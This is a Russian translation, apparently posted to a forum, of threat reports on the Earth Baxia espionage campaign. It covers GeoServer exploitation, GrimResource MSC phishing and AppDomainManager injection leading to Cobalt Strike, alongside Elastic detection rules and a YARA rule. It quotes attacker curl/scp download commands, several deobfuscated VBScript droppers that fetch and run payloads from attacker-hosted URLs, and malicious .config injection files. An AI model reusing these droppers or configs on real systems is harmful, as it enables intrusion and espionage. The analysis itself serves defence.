Пожалуйста, обратите внимание, что пользователь заблокирован
Перевод:
В июле компания TrendMicro наблюдала активность, нацеленную на государственную организацию в Тайване, при этом другие страны Азиатско-Тихоокеанского региона также стали мишенью.
В этих кампаниях Earth Baxia (и не только) использовали фишинговые письма и эксплуатировали CVE-2024-36401 (и CVE-2024-43572), уязвимость в сервере с открытым исходным кодом для обмена геопространственными данными под названием GeoServer, в качестве начальных векторов доступа, развертывая на скомпрометированных машинах Cobalt Strike. Кроме того, был выявлен новый бэкдор под названием EAGLEDOOR, который поддерживает несколько протоколов. В этой статье мы обсудим их цепочку заражения/техник и предоставим подробный анализ вовлеченного вредоносного ПО.
Машины, связанные с водяным знаком Cobalt Strike 666666.
На основе собранных фишинговых писем, документов и наблюдений за инцидентами, похоже, что целями являются в первую очередь государственные учреждения, телекоммуникационные компании и энергетическая отрасль на Филиппинах, в Южной Корее, Вьетнаме, Тайване и Таиланде (Рисунок 1). Примечательно, что был также обнаружен "документ-ловушка", написанный на упрощенном китайском языке, что свидетельствует о том, что Китай также является одной из затронутых стран.
Рисунок 1. Карта затронутых регионов.
Рисунок 2. Обзор цепочки атак.
Расследование TrendMicro показало, что они использовали команды, такие как “curl” и “scp”, чтобы загрузить или скопировать вредоносные компоненты в среду жертвы, а затем выполнили эти компоненты с помощью уязвимости RCE (Таблица 2).
Загрузка файла через curl выглядит следующим образом:
Копирование удаленного файла через scp выглядит следующим образом:
Компоненты, загруженные с помощью RCE-эксплойта
Большинство тем электронных писем тщательно адаптированы с различным содержанием; прикрепленный ZIP-файл содержит поддельный MSC-файл, который TrendMicro назвали "RIPCOY". На этом этапе, когда пользователь дважды щелкает по этому файлу, встроенный обфусцированный VBScript пытается загрузить несколько файлов из публичного облачного сервиса, обычно это Amazon Web Services (AWS) или Microsoft Azure, в технике, называемой GrimResource. Эти файлы включают поддельный PDF-документ, .NET-приложения и файл конфигурации.
Приложения .NET и файл конфигурации, сброшенные MSC-файлом, затем используют технику, известную как внедрение AppDomainManager, которая позволяет внедрять пользовательскую область приложения для выполнения произвольного кода в процессе целевого приложения. Это позволяет выполнять любое приложение .NET для загрузки произвольной управляемой DLL, как локально, так и удаленно с веб-сайта, без прямого вызова каких-либо вызовов API Windows (Рисунок 3).
Рисунок 3. Конфигурационный файл содержит сайты загрузки, используемые приложением .NET Framework
Легитимные приложения .NET затем приступают к загрузке даунлодера следующей стадии, основываясь на URL-адресе, указанном в файле
URL-адрес для этой загрузки обфусцирован с использованием Base64 и AES-шифрования. Большинство обнаруженных на этом этапе сайтов загрузки размещались в публичных облачных сервисах типа Aliyun (Alibaba), Amazon, Azure. После получения шелл-кода DLL выполняет его с помощью API CreateThread, причем все процессы выполняются полностью в памяти.
Рисунок 4. Файл .NET DLL содержит сайт загрузки с обфусцированным кодом
Шеллкод собирает информацию с зараженной машины, включая имя пользователя, имя компьютера, родительский процесс (легитимное приложение .NET) и состояние памяти. Эта информация добавляется как параметр
Рисунок 5. Скриншот анализа сетевого трафика из песочницы VirusTotal
Шелл-код демонстрировал несколько характерных особенностей:
******
После того как Microsoft отключила макросы Office по умолчанию для документов из интернета, другие векторы заражения, такие как JavaScript, MSI файлы, LNK объекты и ISO, стали более популярными.
Исследователи Elastic обнаружили новую технику заражения, также использующую MSC файлы, которую назвали GrimResource. Она позволяет злоумышленникам получить полный код выполнения в контексте
На момент написания образец, обнаруженный в "дикой природе", имел 0 обнаружений в VirusTotal.
Образец начинается с техники обфускации
Техника обхода и обфускации transformNode
Это приводит к созданию обфусцированного встроенного VBScript, как показано ниже:
Обфусцированный VBScript
VBScript устанавливает целевую нагрузку в серии переменных окружения и затем использует DotNetToJs технику для выполнения встроенного .NET загрузчика. TrendMicro назвали этот компонент PASTALOADER.
Установка переменных окружения боевой полезной нагрузки
Техника загрузки DotNetToJs
PASTALOADER извлекает нагрузку из переменных окружения, установленных VBScript на предыдущем шаге:
Загрузчик PASTALOADER извлекает пейлоад
Наконец, PASTALOADER создает новый экземпляр
Полезная нагрузка, внедренная в dllhost.exe
Срабатывание происходит здесь, потому что образец решил создать и внедрить жертвенный экземпляр
Следующее правило EQL обнаружит выполнение через загрузчик .NET:
Следующее предупреждение показывает, как
mmc.exe выделяет память RWX
Другие поведения, которые изначально могут показаться подозрительными — такие как загрузка
Нормальное поведение при загрузке библиотеки с помощью mmc.exe
Основной аспект этого метода включает использование
apds.dll вызывается в StringTable файла MSC
Пример успешного выполнения GrimResource
Elastic добавили следующее обнаружение, используя события открытия файлов Elastic Defend, где целевым файлом является
Следующее правило EQL обнаружит выполнение скрипта из консоли MMC:
Шкала, показывающая выполнение скрипта с помощью консоли MMC
Содержание redirect.html
Следующая EQL-корреляция может быть использована для обнаружения этого поведения, при этом также захватывая путь к файлу msc:
Шкала, обнаруживающая redirect.html
Наряду с предоставленными правилами поведения, следующее правило YARA может быть использовано для обнаружения подобных файлов:
SHA256:
Если перевести название файла с китайского на русский, то документ означает:
Изображение цепи заражения:
MSC-файл через GrimResource автоматически выполняет следующий скрипт:
Расшифровав его, получается более читабельный код:
Сценарий загружает следующие файлы в папку
Файл
Что позволяет загрузить DLL с адреса
Вредоносная DLL, которая выполняется процессом
На рисунке мы можем видеть расшифровку обфусцированного URL с помощью AES и выполнение загруженного потока шеллкода:
Шеллкод использует пользовательский алгоритм DBJ2 для определения хэша имен API, которые будут использоваться, как мы видим на рисунке:
64-битный шеллкод подключается к домену
Следующая информация отправляется в поле
Если полученный ответ отличается от:
В ходе анализа шеллкод загрузил и выполнил третью стадию, содержащую Marte Beacon с CobaltStrike, который подключился к домену:
Кампания 2 августа была нацелена на правительство Тайваня, как сообщает StrikeReady_Labs:
SHA256:
Предполагается, что это первая кампания, в которой злоумышленник использовал технику GrimResource. MSC файл содержит обфусцированный скрипт, из которого получается следующее:
Скрипт внутри MSC файла загружает следующие файлы:
Файл
Предполагается, что файл
Кампания 16 июля 2024 года не использовала 64-битный шеллкод, который наблюдался в кампании 2 августа, а вместо этого напрямую выполняла Marte Beacon с Cobalt Strike, как показано на рисунке:
SHA256:
MSC файл содержит обфусцированный скрипт, из которого получается следующее:
Единственным компонентом, к которому имеется доступ, был файл
SHA256:
MSC файл содержит обфусцированный скрипт, из которого получается следующий вывод:
Эта кампания схожа с кампанией 2 августа, где файл
64-битный шеллкод похож на тот, что наблюдался 2 августа, сервер C&C в этом случае -
SHA256:
Кампания нацелена на Вьетнам, примерный перевод имени файла с вьетнамского:
MSC файл похож на те, что наблюдались в предыдущих кампаниях, файл
SHA256:
Кампания, возможно, была нацелена на Францию и была проведена 19 августа 2024 года, перевод имени файла с китайского:
MSC файл похож на тот, что наблюдался в предыдущей кампании 20 августа, где используется программа
MSC файл содержит обфусцированный скрипт, из которого получается следующий вывод:
Внутри ZIP-файла (
При анализе IP
В кампании 27 апреля использовалась следующая приманка:
А 7 мая такая:
В кампании 17 мая использовалась следующая приманка с именем
IP-адрес
Киберпреступнику, вероятно, нужно было атаковать цель с ОС Linux. Этот bash-скрипт похож по поведению на скрипт VisualBasic, используемый внутри MSC файлов для Windows. В данном случае приманкой является отображение сообщения электронной почты, содержащегося в файле
******
Рисунок 6. Расшифрованный шелл-код
Рисунок 7. Последовательность выполнения компонентов Cobalt Strike
Внедренный шелл-код представляет собой модифицированную версию Cobalt Strike. В отличие от стандартной полезной нагрузки Cobalt Strike, в модифицированной версии удален MZ-заголовок и изменены внутренние сигнатуры (Рисунок 8). Кроме того, структура конфигурации также была слегка изменена (Рисунок 9).
Рисунок 8. Различия в заголовках между стандартной (слева) и модифицированной (справа) версиями Cobalt Strike
Рисунок 9. Различия в структурах конфигурации между стандартной (слева) и модифицированной (справа) версиями Cobalt Strike
Злоумышленники применяют DLL side-loading для запуска загрузчика и выполнения EAGLEDOOR в памяти. В загрузчике находятся два зашифрованных DLL-файла в секции
Рисунок 10. Загрузчик применяет hook.dll для перехвата API-функций GetProcAddress, FreeLibrary и LdrUnloadDll
Рисунок 11. Последовательность кода для запуска Eagle.dll в загрузчике
EAGLEDOOR поддерживает четыре метода коммуникации с C&C-сервером:
Рисунок 12. Процесс эксфильтрации с помощью curl.exe
Рисунок 13. Известные комбинации при первоначальном доступе
В ходе расследования был найден сайт загрузки
Каждый zip-файл содержит LNK-файл с PowerShell-командой:
Таблица 3. Файлы, размещенные на static[.]krislab[.]site
https://www.trendmicro.com/en_us/research/24/i/earth-baxia-spear-phishing-and-geoserver-exploit.htmlhttps://www.elastic.co/security-labs/grimresourcehttps://www.tgsoft.it/news/news_archivio.asp?id=1568&lang=engPDF версия - http://**************************************************************/b/3lUwo2oshgoN4jkmsQvJBt (смотрим опрос).
В июле компания TrendMicro наблюдала активность, нацеленную на государственную организацию в Тайване, при этом другие страны Азиатско-Тихоокеанского региона также стали мишенью.
В этих кампаниях Earth Baxia (и не только) использовали фишинговые письма и эксплуатировали CVE-2024-36401 (и CVE-2024-43572), уязвимость в сервере с открытым исходным кодом для обмена геопространственными данными под названием GeoServer, в качестве начальных векторов доступа, развертывая на скомпрометированных машинах Cobalt Strike. Кроме того, был выявлен новый бэкдор под названием EAGLEDOOR, который поддерживает несколько протоколов. В этой статье мы обсудим их цепочку заражения/техник и предоставим подробный анализ вовлеченного вредоносного ПО.
Атрибуция и виктимология
В ходе расследования было обнаружено, что множество серверов размещались на Alibaba или находились в Гонконге, а некоторые сэмплы были загружены на VirusTotal из Китая. После проверки одного из водяных знаков Cobalt Strike (666666), используемых злоумышленниками, на платформе Shodan, было обнаружено, что несколько машин были связаны с этим водяным знаком, большинство из которых находились в Китае (Таблица 1). Таким образом, скорее всего, APT-группа, стоящая за этими кампаниями, происходит из Китая.| Страна | Количество машин |
|---|---|
| Китай | 13 |
| Япония | 1 |
| Сингапур | 1 |
На основе собранных фишинговых писем, документов и наблюдений за инцидентами, похоже, что целями являются в первую очередь государственные учреждения, телекоммуникационные компании и энергетическая отрасль на Филиппинах, в Южной Корее, Вьетнаме, Тайване и Таиланде (Рисунок 1). Примечательно, что был также обнаружен "документ-ловушка", написанный на упрощенном китайском языке, что свидетельствует о том, что Китай также является одной из затронутых стран.
Рисунок 1. Карта затронутых регионов.
Цепочка заражения
В этом разделе мы обсудим поток атак группы угроз, как это было определено нашей телеметрией, включая вредоносное ПО и тактики, техники и процедуры (TTP), как показано на Рисунке 2.
Рисунок 2. Обзор цепочки атак.
Первичный доступ
Уязвимый GeoServer
В некоторых случаях Earth Baxia использовала CVE-2024-36401, уязвимость удаленного выполнения кода (RCE) на GeoServer, чтобы выполнять произвольные команды:Расследование TrendMicro показало, что они использовали команды, такие как “curl” и “scp”, чтобы загрузить или скопировать вредоносные компоненты в среду жертвы, а затем выполнили эти компоненты с помощью уязвимости RCE (Таблица 2).
Загрузка файла через curl выглядит следующим образом:
curl --connect-timeout 3 -m 10 -o c:\windows\temp\{file name} http://[B]167[.]172[.]89[.]142[/B]/{file name}Копирование удаленного файла через scp выглядит следующим образом:
cmd /c "scp -P 23 -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o UserKnownHostsFile=C:\windows\temp\ t1sc@[B]152[.]42[.]243[.]170[/B]:/tmp/bd/{имя файла} c:\windows\temp\"| Имя файла | Описание |
|---|---|
| Edge.exe | Законный исполняемый файл, используемый для загрузки msedge.dll |
| msedge.dll | Зловредный загрузчик (SWORDLDR), используемый для запуска Cobalt Strike (Logs.txt) |
| Logs.txt | Настроенный шеллкод Cobalt Strike |
Вектор фишингового email
В начале августа Earth Baxia начала использовать фишинговые письма для продвижения своих атак. Одна из жертв сообщила о получении более 70 писем в течение примерно двух недель. Также были найдены аналогичные вложения в электронной почте на VirusTotal. Анализ документов предполагает, что злоумышленники могли нацелиться не только на Тайвань, но и на Вьетнам и Китай.Большинство тем электронных писем тщательно адаптированы с различным содержанием; прикрепленный ZIP-файл содержит поддельный MSC-файл, который TrendMicro назвали "RIPCOY". На этом этапе, когда пользователь дважды щелкает по этому файлу, встроенный обфусцированный VBScript пытается загрузить несколько файлов из публичного облачного сервиса, обычно это Amazon Web Services (AWS) или Microsoft Azure, в технике, называемой GrimResource. Эти файлы включают поддельный PDF-документ, .NET-приложения и файл конфигурации.
Приложения .NET и файл конфигурации, сброшенные MSC-файлом, затем используют технику, известную как внедрение AppDomainManager, которая позволяет внедрять пользовательскую область приложения для выполнения произвольного кода в процессе целевого приложения. Это позволяет выполнять любое приложение .NET для загрузки произвольной управляемой DLL, как локально, так и удаленно с веб-сайта, без прямого вызова каких-либо вызовов API Windows (Рисунок 3).
Рисунок 3. Конфигурационный файл содержит сайты загрузки, используемые приложением .NET Framework
Легитимные приложения .NET затем приступают к загрузке даунлодера следующей стадии, основываясь на URL-адресе, указанном в файле
.config, который ведет к файлу .NET DLL (Рисунок 4).URL-адрес для этой загрузки обфусцирован с использованием Base64 и AES-шифрования. Большинство обнаруженных на этом этапе сайтов загрузки размещались в публичных облачных сервисах типа Aliyun (Alibaba), Amazon, Azure. После получения шелл-кода DLL выполняет его с помощью API CreateThread, причем все процессы выполняются полностью в памяти.
Рисунок 4. Файл .NET DLL содержит сайт загрузки с обфусцированным кодом
Шеллкод собирает информацию с зараженной машины, включая имя пользователя, имя компьютера, родительский процесс (легитимное приложение .NET) и состояние памяти. Эта информация добавляется как параметр
client_id к URL-адресу и отправляется на пользовательский домен. В ответ может быть получен 64-символьный ответ от сервера, который затем используется для запроса следующей полезной нагрузки по URL (Рисунок 5). Однако получить финальный пейлоад TrendMicro не удалось.
Рисунок 5. Скриншот анализа сетевого трафика из песочницы VirusTotal
Шелл-код демонстрировал несколько характерных особенностей:
- Домены были замаскированы под облачные сервисы, используя названия вроде
s3cloud-azureилиs2cloud-amazon. Каждый запрос следовал определенному шаблону, включая уникальную строку user-agent и данные в формате JSON. - Финальная стадия процесса загрузки всегда имела путь
/api/v1/homepage/, что позволяет предположить, что файл все ещё может быть размещен в облачном сервисе. - Размещая файлы в облаке, атакующий получает преимущество в виде возможности легко заменять или обновлять файлы, включая файлы
.configс различными ссылками для загрузки, что значительно усложняет для нас отслеживание их активности.
oncesvc.exe, запущенный файлом MSC, выполнял другой процесс, Edge.exe, для загрузки компонентов Cobalt Strike msedge.dll и Logs.txt. В следующем разделе подробнее обсудим эти компоненты.******
GrimResource
Тут будет отступление для общего понимания. Видос от xranitel тут.После того как Microsoft отключила макросы Office по умолчанию для документов из интернета, другие векторы заражения, такие как JavaScript, MSI файлы, LNK объекты и ISO, стали более популярными.
Исследователи Elastic обнаружили новую технику заражения, также использующую MSC файлы, которую назвали GrimResource. Она позволяет злоумышленникам получить полный код выполнения в контексте
mmc.exe после того, как пользователь щелкает на специально подготовленный MSC файл. Пример с использованием GrimResource был впервые загружен на VirusTotal 6 июня.Анализ
Ключ к технике GrimResource заключается в использовании старой уязвимости XSS вapds.dll библиотеке. Добавив ссылку на уязвимый ресурс APDS в соответствующем разделе StringTable созданного файла MSC, злоумышленники могут выполнять произвольный javascript в контексте mmc.exe. Злоумышленники могут комбинировать эту технику с DotNetToJScript для получения произвольного выполнения кода.
На момент написания образец, обнаруженный в "дикой природе", имел 0 обнаружений в VirusTotal.
Образец начинается с техники обфускации
transformNode, которая была замечена в недавних, но не связанных макрообразцах. Это помогает избежать предупреждений безопасности ActiveX.
Техника обхода и обфускации transformNode
Это приводит к созданию обфусцированного встроенного VBScript, как показано ниже:
Обфусцированный VBScript
VBScript устанавливает целевую нагрузку в серии переменных окружения и затем использует DotNetToJs технику для выполнения встроенного .NET загрузчика. TrendMicro назвали этот компонент PASTALOADER.
Установка переменных окружения боевой полезной нагрузки
Техника загрузки DotNetToJs
PASTALOADER извлекает нагрузку из переменных окружения, установленных VBScript на предыдущем шаге:
Загрузчик PASTALOADER извлекает пейлоад
Наконец, PASTALOADER создает новый экземпляр
dllhost.exe и инжектирует в него нагрузку. Это делается в преднамеренно скрытном режиме с использованием DirtyCLR техники, функции анхукания и косвенных системных вызовов. В этом примере конечная нагрузка - Cobalt Strike.
Полезная нагрузка, внедренная в dllhost.exe
Выполнение через Microsoft Common Console
Это обнаружение было установлено до того, как Elastic выявили новый метод выполнения. Изначально оно было разработано для идентификации другого метода (который требует от пользователя кликнуть на Taskpad после открытия MSC файла), использующего тот же тип файла MSC для выполнения команд через атрибут командной строки Console Taskpads:
Код:
process where event.action == "start" and
process.parent.executable : "?:\\Windows\\System32\\mmc.exe" and process.parent.args : "*.msc" and
not process.parent.args : ("?:\\Windows\\System32\\*.msc", "?:\\Windows\\SysWOW64\\*.msc", "?:\\Program files\\*.msc", "?:\\Program Files (x86)\\*.msc") and
not process.executable :
("?:\\Windows\\System32\\mmc.exe",
"?:\\Windows\\System32\\wermgr.exe",
"?:\\Windows\\System32\\WerFault.exe",
"?:\\Windows\\SysWOW64\\mmc.exe",
"?:\\Program Files\\*.exe",
"?:\\Program Files (x86)\\*.exe",
"?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.EXE",
"?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")
Срабатывание происходит здесь, потому что образец решил создать и внедрить жертвенный экземпляр
dllhost.exe:
Создание COM-объекта .NET в нестандартном интерпретаторе Windows Script
Образец использует технику DotNetToJScript, которая вызывает другое обнаружение, отслеживающее выделение памяти RWX от .NET от имени движка скриптов Windows Script Host (WSH) (Jscript или Vbscript):Следующее правило EQL обнаружит выполнение через загрузчик .NET:
Код:
api where
not process.name : ("cscript.exe", "wscript.exe") and
process.code_signature.trusted == true and
process.code_signature.subject_name : "Microsoft*" and
process.Ext.api.name == "VirtualAlloc" and
process.Ext.api.parameters.allocation_type == "RESERVE" and
process.Ext.api.parameters.protection == "RWX" and
process.thread.Ext.call_stack_summary : (
/* .NET is allocating executable memory on behalf of a WSH script engine
* Note - this covers both .NET 2 and .NET 4 framework variants */
"*|mscoree.dll|combase.dll|jscript.dll|*",
"*|mscoree.dll|combase.dll|vbscript.dll|*",
"*|mscoree.dll|combase.dll|jscript9.dll|*",
"*|mscoree.dll|combase.dll|chakra.dll|*"
)
Следующее предупреждение показывает, как
mmc.exe выделяет память RWX, а process.thread.Ext.call_stack_summary фиксирует источник выделения от vbscript.dll до clr.dll:
mmc.exe выделяет память RWX
Выполнение скрипта через файл MMC Console
Два предыдущих обнаружения были вызваны специфическими особенностями реализации для превращения метода GrimResource в боевой (DotNetToJS и создание дочернего процесса). Эти обнаружения можно обойти, используя более безопасные с точки зрения OPSEC альтернативы.Другие поведения, которые изначально могут показаться подозрительными — такие как загрузка
mmc.exe библиотек jscript.dll, vbscript.dll и msxml3.dll — можно сравнить с доброкачественными данными. Мы видим, что за исключением vbscript.dll, эти движки WSH обычно загружаются процессом mmc.exe:
Нормальное поведение при загрузке библиотеки с помощью mmc.exe
Основной аспект этого метода включает использование
[URL='https://strontic.github.io/xcyclopedia/library/apds.dll-DF461ADCCD541185313F9439313D1EE1.html']apds.dll[/URL] для выполнения Jscript через XSS. Это поведение видно в выводе Procmon для mmc.exe как операция CreateFile (при этом apds.dll не загружается как библиотека):
apds.dll вызывается в StringTable файла MSC
Пример успешного выполнения GrimResource
Elastic добавили следующее обнаружение, используя события открытия файлов Elastic Defend, где целевым файлом является
apds.dll, а process.name - mmc.exe:Следующее правило EQL обнаружит выполнение скрипта из консоли MMC:
Код:
sequence by process.entity_id with maxspan=1m
[process where event.action == "start" and
process.executable : "?:\\Windows\\System32\\mmc.exe" and process.args : "*.msc"]
[file where event.action == "open" and file.path : "?:\\Windows\\System32\\apds.dll"]
Шкала, показывающая выполнение скрипта с помощью консоли MMC
Выполнение Windows Script через файл консоли MMC
Другим признаком обнаружения и форензическим артефактом является создание временного HTML-файла в папке INetCache с именемredirect[*] в результате редиректа APDS XSS:
Содержание redirect.html
Следующая EQL-корреляция может быть использована для обнаружения этого поведения, при этом также захватывая путь к файлу msc:
Код:
sequence by process.entity_id with maxspan=1m
[process where event.action == "start" and
process.executable : "?:\\Windows\\System32\\mmc.exe" and process.args : "*.msc"]
[file where event.action in ("creation", "overwrite") and
process.executable : "?:\\Windows\\System32\\mmc.exe" and file.name : "redirect[?]" and
file.path : "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*\\redirect[?]"]
Шкала, обнаруживающая redirect.html
Наряду с предоставленными правилами поведения, следующее правило YARA может быть использовано для обнаружения подобных файлов:
Код:
rule Windows_GrimResource_MMC {
meta:
author = "Elastic Security"
reference = "https://www.elastic.co/security-labs/GrimResource"
reference_sample = "14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb"
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "windows"
strings:
$xml = "<?xml"
$a = "MMC_ConsoleFile"
$b1 = "apds.dll"
$b2 = "res://"
$b3 = "javascript:eval("
$b4 = ".loadXML("
condition:
$xml at 0 and $a and 2 of ($b*)
}
Кампания от 2 августа 2024 года
2 августа 2024 года была выявлена e-mail кампания со следующим прикрепленным файлом:水域污染詳細訊息.msc.SHA256:
4edc77c3586ccc255460f047bd337b2d09e2339e3b0b0c92d68cddedf2ac1e54.Если перевести название файла с китайского на русский, то документ означает:
Подробная информация о загрязнении воды.mscИзображение цепи заражения:
MSC-файл через GrimResource автоматически выполняет следующий скрипт:
Расшифровав его, получается более читабельный код:
Код:
Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURL1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath
strURL1 = "https[:]//wordpresss-data[.]s3[.]me-south-1[.]amazonaws[.]com/oncesvc.exe"
strURL2 = "https[:]//wordpresss-data[.]s3[.]me-south-1[.]amazonaws[.]com/oncesvc.exe.config"
strURL3 = "https[:]//wordpresss-data[.]s3[.]me-south-1[.]amazonaws[.]com/water.txt"
strShowfileURL = "https[:]//wordpresss-data[.]s3.me-south-1[.]amazonaws[.]com/ws.pdf"
strDownloadPath1 = "C:\Users\Public\oncesvc.exe"
strDownloadPath2 = "C:\Users\Public\oncesvc.exe.config"
strDownloadPath3 = "C:\Users\Public\water.txt"
strShowfilePath = "C:\Users\Public\wrasb.pdf"
strExecutablePath = "C:\Users\Public\oncesvc.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
DownloadFile strURL2, strDownloadPath2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
DownloadFile strShowfileURL, strShowfilePath
End If
objShell.Run strExecutablePath, 1, True
objShell.Run strShowfilePath, 1, True
Sub DownloadFile(url, path)
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objHTTP.Open "GET", url, False
objHTTP.Send
If objHTTP.Status = 200 Then
objStream.Open
objStream.Type = 1 ' adTypeBinary
objStream.Write objHTTP.ResponseBody
objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
objStream.Close
End If
Set objStream = Nothing
End Sub
Сценарий загружает следующие файлы в папку
C:\Users\Public:oncesvc.exe(Легитимный файл Microsoft «ClickOnce»)oncesvc.exe.config(Конфигурационный файл для загрузки вредоносной DLL)water.txt(Неиспользуемый файл, вероятно, для отслеживания заражения)ws.pdf(Приманка)
Файл
oncesvc.exe.config содержит следующую конфигурацию:
XML:
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="oncesvc" publicKeyToken="205fcab1ea048820" culture="neutral" />
<codeBase version="0.0.0.0" href="https[:]//360photo[.]oss-cn-hongkong[.]aliyuncs[.]com/202407111985.jpeg"/>
</dependentAssembly>
</assemblyBinding>
<etwEnable enabled="false" />
<appDomainManagerAssembly value="oncesvc, Version=0.0.0.0, Culture=neutral, PublicKeyToken=205fcab1ea048820" />
<appDomainManagerType value="oncesvc" />
</runtime>
</configuration>
Что позволяет загрузить DLL с адреса
https[:]//360photo[.]oss-cn-hongkong[.]aliyuncs[.]com/202407111985.jpeg с помощью техники App Domain Manager Injection.Вредоносная DLL, которая выполняется процессом
ONCESVC.EXE, загружает с сайта https[:]//360photo[.]oss-cn-hongkong[.]aliyuncs[.]com/202407111522.jpeg полностью бездисковый 64-битный шеллкод.На рисунке мы можем видеть расшифровку обфусцированного URL с помощью AES и выполнение загруженного потока шеллкода:
Шеллкод использует пользовательский алгоритм DBJ2 для определения хэша имен API, которые будут использоваться, как мы видим на рисунке:
64-битный шеллкод подключается к домену
status[.]s3cloud-azure[.]com на порту 8080 по пути: /common/oauth2/authorize?client_id=<ID клиента>, отправляя следующий запрос через POST: {"user":"password"}Следующая информация отправляется в поле
client_id в формате base64:- имя пользователя с указанием, является ли он Администратором (isAdmin)
- имя компьютера
- имя процесса
- указание архитектуры операционной системы (32 или 64 бит)
- системная память
/api/v1/homepage/<id>
Если полученный ответ отличается от:
- NULL
- 404 Not Found!
В ходе анализа шеллкод загрузил и выполнил третью стадию, содержащую Marte Beacon с CobaltStrike, который подключился к домену:
static[.]trendmicrotech[.]com на порту 8443 (ipv6: 2a06:98c1:3120:0:0:0:0:7) по следующим страницам:- GET
/etc.clientlibs/microsoft/clientlibs/clientlib-mwf-new/resources/fonts - POST
/OneCollector/1.0
\.\pipe\srvsvc-1-5-5-067b62Кампания 2 августа была нацелена на правительство Тайваня, как сообщает StrikeReady_Labs:
Кампания от 16 июля 2024 года
16 июля 2024 года файлCert.msc был загружен в VirusTotal из Вьетнама.SHA256:
fb640cfb9a86b9dc6806b048c6a88ef6ff546ca830a147322b4e3a3646b70942.Предполагается, что это первая кампания, в которой злоумышленник использовал технику GrimResource. MSC файл содержит обфусцированный скрипт, из которого получается следующее:
Код:
Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURL1, strURL2
Dim strDownloadPath1, strDownloadPath2
Dim strExecutablePath
strURL1 = "https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/Cert.exe"
strURL2 = "https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/Cert.exe.config"
strDownloadPath1 = "C:\Users\Public\Music\Cert.exe"
strDownloadPath2 = "C:\Users\Public\Music\Cert.exe.config"
strExecutablePath = "C:\Users\Public\Music\Cert.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
DownloadFile strURL2, strDownloadPath2
End If
objShell.Run strExecutablePath, 1, True
Sub DownloadFile(url, path)
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objHTTP.Open "GET", url, False
objHTTP.Send
If objHTTP.Status = 200 Then
objStream.Open
objStream.Type = 1 ' adTypeBinary
objStream.Write objHTTP.ResponseBody
objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
objStream.Close
End If
Set objStream = Nothing
End Sub
Скрипт внутри MSC файла загружает следующие файлы:
- https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/Cert.exe.config
- https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/Cert.exe
- https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/ServiceHub.json
- https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/205fcab1ea04882.jpg
- Cert.exe
- ServiceHub.json
Cert.exe должен был быть программой ServiceHub.Host.netfx.x64.exe.Файл
Cert.exe.config содержит следующую конфигурацию:
XML:
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="ServiceHub" publicKeyToken="205fcab1ea048820" culture="neutral" />
<codeBase version="0.0.0.0" href="https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/ServiceHub.json"/>
</dependentAssembly>
</assemblyBinding>
<etwEnable enabled="false" />
<appDomainManagerAssembly value="ServiceHub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=205fcab1ea048820" />
<appDomainManagerType value="ServiceHub" />
</runtime>
</configuration>
Предполагается, что файл
ServiceHub.json является вредоносной DLL, которая загружается через технику AppDomainManager Injection, а файл 205fcab1ea04882.jpg напрямую содержит Marte Beacon с CobaltStrike, который подключался к сайту: us2[.]s3bucket-azure[.]online (ipv6: 2a06:98c1:3120:0:0:0:0:7) на странице /etc.clientlibs/microsoft/clientlibs/clientlib-mwf-new/resources/fontsКампания 16 июля 2024 года не использовала 64-битный шеллкод, который наблюдался в кампании 2 августа, а вместо этого напрямую выполняла Marte Beacon с Cobalt Strike, как показано на рисунке:
Кампания от 12 августа 2024 года
12 августа 2024 года файлDocument_new.pdf.msc был загружен в VirusTotal из Вьетнама.SHA256:
ca05513c365c60a8fdabd9e21938796822ecda03909b3ee5f12eb82fefa34d84.MSC файл содержит обфусцированный скрипт, из которого получается следующее:
Код:
Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURL1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath
strURL1 = "https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/a85f760d1f9cd374.json"
strURL2 = "https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/a85f760d1f9cd374.config"
strURL3 = "https[:]//yitoo[.]oss-cn-hongkong[.]aliyuncs[.]com/calc.exe"
strShowfileURL = "https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/Document_new.pdf"
